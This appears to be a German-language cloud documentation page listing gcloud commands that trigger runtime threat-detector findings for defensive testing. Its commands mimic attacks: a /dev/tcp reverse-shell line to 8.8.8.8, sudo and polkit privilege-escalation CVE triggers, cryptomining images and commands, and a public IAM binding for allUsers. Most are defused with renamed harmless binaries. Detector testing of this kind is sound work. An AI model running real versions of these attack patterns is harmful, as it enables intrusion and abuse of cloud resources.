Rechteausweitung: Mögliche Rechteausweitung durch Sudo (CVE-2021-3156)

Wenn Sie ein Ergebnis des Typs Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) auslösen möchten, führen Sie die Binärdatei sudo mit dem Parameter -s und einem Parameter aus, der mit `` endet.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) erstellt.

Rechteausweitung: Sicherheitslücke bei der lokalen Rechteausweitung in Polkit (CVE-2021-4034)

Wenn Sie ein Ergebnis des Typs Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) auslösen möchten, führen Sie eine pkexec-Binärdatei aus, wobei die Umgebungsvariable GCONV_PATH als Nicht-Root-Nutzer festgelegt ist.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) erstellt.

Reverse Shell

Wenn Sie ein Ergebnis des Typs Reverse Shell auslösen möchten, starten Sie eine Binärdatei mit stdin-Weiterleitung zu einem mit TCP verbundenen Socket.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Reverse Shell erstellt.

Unerwartete untergeordnete Shell

Wenn Sie den Detektor Unexpected Child Shell testen möchten, erstellen Sie eine Prozessstruktur, die einen untergeordneten Shell-Prozess enthält.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --task-timeout 700 \
      --args "-c",'sleep 601; cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; /tmp/consul -c "/tmp/sh child ran successfully & wait"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Unexpected Child Shell erstellt. Es kann bis zu 15 Minuten dauern, bis bei diesem Test ein Ergebnis generiert wird.

Execution: Cryptomining-Docker-Image

Wenn Sie ein Ergebnis des Typs Execution: Cryptomining Docker Image auslösen möchten, stellen Sie einen Container mit einem Docker-Image-Namen bereit, der mit Cryptomining-Software verknüpft ist.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
      --command sh \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Cryptomining Docker Image erstellt. Die Jobbereitstellung schlägt fehl, da das Image nicht vorhanden ist. Das Ergebnis wird jedoch trotzdem generiert.

Impact: Cryptomining-Befehle

Wenn Sie ein Ergebnis des Typs Impact: Cryptomining Commands auslösen möchten, führen Sie einen Befehl mit Argumenten aus, die denen bekannter Cryptomining-Software ähneln.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command xmrig \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Impact: Cryptomining Commands erstellt. Die Jobausführung schlägt fehl, da der Befehl im Image nicht vorhanden ist. Das Ergebnis wird jedoch trotzdem generiert.

Rechteausweitung: SetIAMPolicy für das Compute Engine-Standarddienstkonto

Wenn Sie ein Ergebnis des Typs Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy auslösen möchten, führen Sie einen Befehl aus, der das Compute Engine-Standarddienstkonto verwendet, um die IAM-Richtlinie eines Cloud Run-Dienstes festzulegen.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
      --command gcloud \
      --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy erstellt.

Nächste Schritte